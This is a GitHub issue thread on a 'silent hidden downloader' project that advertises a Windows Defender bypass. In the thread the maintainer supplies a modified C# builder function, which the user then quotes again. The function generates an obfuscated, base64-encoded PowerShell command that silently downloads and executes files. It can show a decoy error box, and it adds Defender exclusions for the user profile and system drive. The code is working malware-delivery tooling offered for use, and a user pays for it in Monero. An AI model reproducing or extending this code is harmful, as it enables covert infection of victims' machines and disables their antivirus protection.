UnamSanctam / UnamDownloader

A Free Silent (Hidden) Open Source Downloader (Binder) - Includes Windows Defender Bypass - Build Native - Unam Downloader
MIT License
173 stars 56 forks source link

About Downloader #69

Closed samogost closed 1 year ago

samogost commented 1 year ago

Hello Unam! I am quite annoyed about this downloader because it has to wait for larger files to finish downloading before starting to execute. I hope you will update which files have finished downloading and then execute immediately.

samogost commented 1 year ago

Although the first file has downloaded, it cannot be executed because the second file is still downloading.

samogost commented 1 year ago

my file is over 650MB

UnamSanctam commented 1 year ago

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

samogost commented 1 year ago

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

I'm not good at coding... I can donate to you

samogost commented 1 year ago

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

Well, I can't fix it... Is it easy to code? Otherwise, I'll spend a month looking for another downloader or forvever :/

samogost commented 1 year ago

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

hello?...

UnamSanctam commented 1 year ago

I can change that for you, it's quite an easy change.

samogost commented 1 year ago

I can change that for you, it's quite an easy change.

Thank you very much!

samogost commented 1 year ago

I can change that for you, it's quite an easy change.

you can also give the code and show me where to put the code

UnamSanctam commented 1 year ago

Here it is: UnamDownloader.zip

I changed this function: https://github.com/UnamSanctam/UnamDownloader/blob/3deb02a9e38dea2c11c11dcd502b3d6c4c42fe1e/UnamDownloader/Forms/Builder.cs#L174 To this:

public string CreateCommand()
        {
            List<string> downloads = new List<string>();

            int count = listFiles.Items.Count;
            for (int i = 0; i < count; i++)
            {
                File filevar = ((File)listFiles.Items[i]);
                string droplocation = (filevar.comboDropLocation.Text == "Current Directory" ? "($pwd).path" : "$env:" + filevar.comboDropLocation.Text);
                string downloadStr = $"(New-Object System.Net.WebClient).DownloadFile('{filevar.txtDownloadURL.Text.Replace("'", "''")}', <#{RandomString(3, true)}#> (Join-Path <#{RandomString(3, true)}#> -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}'))<#{RandomString(3, true)}#>";
                if (filevar.toggleExecute.Checked)
                {
                    downloadStr += $";Start-Process -FilePath <#{RandomString(3, true)}#> (Join-Path -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}')<#{RandomString(3, true)}#>";
                }
                downloads.Add(downloadStr);
            }

            string preCommand = "";
            if (chkError.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Process powershell -WindowStyle Hidden -ArgumentList \"Add-Type -AssemblyName System.Windows.Forms;<#{RandomString(3, true)}#>[System.Windows.Forms.MessageBox]::Show('{txtErrorText.Text.Replace("'", "''").Replace("\"", @"\""""")}','','OK','{(comboErrorType.Text == "Info" ? "Information" : comboErrorType.Text)}')<#{RandomString(3, true)}#>;\";";
            }

            if (chkDelay.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Sleep -Seconds {txtDelay.Text};";
            }

            string defenderCommand = $"<#{RandomString(3, true)}#> Add-MpPreference <#{RandomString(3, true)}#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#{RandomString(3, true)}#> -Force <#{RandomString(3, true)}#>;";
            return "-EncodedCommand \"" + Convert.ToBase64String(Encoding.Unicode.GetBytes(preCommand + (chkWD.Checked ? defenderCommand: "") + string.Join("; ", downloads.ToArray()))) + "\"";
        }
samogost commented 1 year ago

Here it is: UnamDownloader.zip

I changed this function:

https://github.com/UnamSanctam/UnamDownloader/blob/3deb02a9e38dea2c11c11dcd502b3d6c4c42fe1e/UnamDownloader/Forms/Builder.cs#L174

To this:

public string CreateCommand()
        {
            List<string> downloads = new List<string>();

            int count = listFiles.Items.Count;
            for (int i = 0; i < count; i++)
            {
                File filevar = ((File)listFiles.Items[i]);
                string droplocation = (filevar.comboDropLocation.Text == "Current Directory" ? "($pwd).path" : "$env:" + filevar.comboDropLocation.Text);
                string downloadStr = $"(New-Object System.Net.WebClient).DownloadFile('{filevar.txtDownloadURL.Text.Replace("'", "''")}', <#{RandomString(3, true)}#> (Join-Path <#{RandomString(3, true)}#> -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}'))<#{RandomString(3, true)}#>";
                if (filevar.toggleExecute.Checked)
                {
                    downloadStr += $";Start-Process -FilePath <#{RandomString(3, true)}#> (Join-Path -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}')<#{RandomString(3, true)}#>";
                }
                downloads.Add(downloadStr);
            }

            string preCommand = "";
            if (chkError.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Process powershell -WindowStyle Hidden -ArgumentList \"Add-Type -AssemblyName System.Windows.Forms;<#{RandomString(3, true)}#>[System.Windows.Forms.MessageBox]::Show('{txtErrorText.Text.Replace("'", "''").Replace("\"", @"\""""")}','','OK','{(comboErrorType.Text == "Info" ? "Information" : comboErrorType.Text)}')<#{RandomString(3, true)}#>;\";";
            }

            if (chkDelay.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Sleep -Seconds {txtDelay.Text};";
            }

            string defenderCommand = $"<#{RandomString(3, true)}#> Add-MpPreference <#{RandomString(3, true)}#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#{RandomString(3, true)}#> -Force <#{RandomString(3, true)}#>;";
            return "-EncodedCommand \"" + Convert.ToBase64String(Encoding.Unicode.GetBytes(preCommand + (chkWD.Checked ? defenderCommand: "") + string.Join("; ", downloads.ToArray()))) + "\"";
        }

thank you again!

UnamSanctam commented 1 year ago

No problem.

samogost commented 1 year ago

No problem.

Like I said, "One day I will donate," but I only have 10 $ Xmr. I hope you take it.

UnamSanctam commented 1 year ago

Like I said, "One day I will donate," but I only have 10 $ Xmr. I hope you take it.

Thank you, you should only donate if you have some over to spare.

samogost commented 1 year ago

Like I said, "One day I will donate," but I only have 10 $ Xmr. I hope you take it.

Thank you, you should only donate if you have some over to spare.

I just sent you 10$ xmr, have a nice day!

UnamSanctam commented 1 year ago

I just sent you 10$ xmr, have a nice day!

Thank you very much, hope you have a nice day too. And good luck with whatever you're using the downloader for.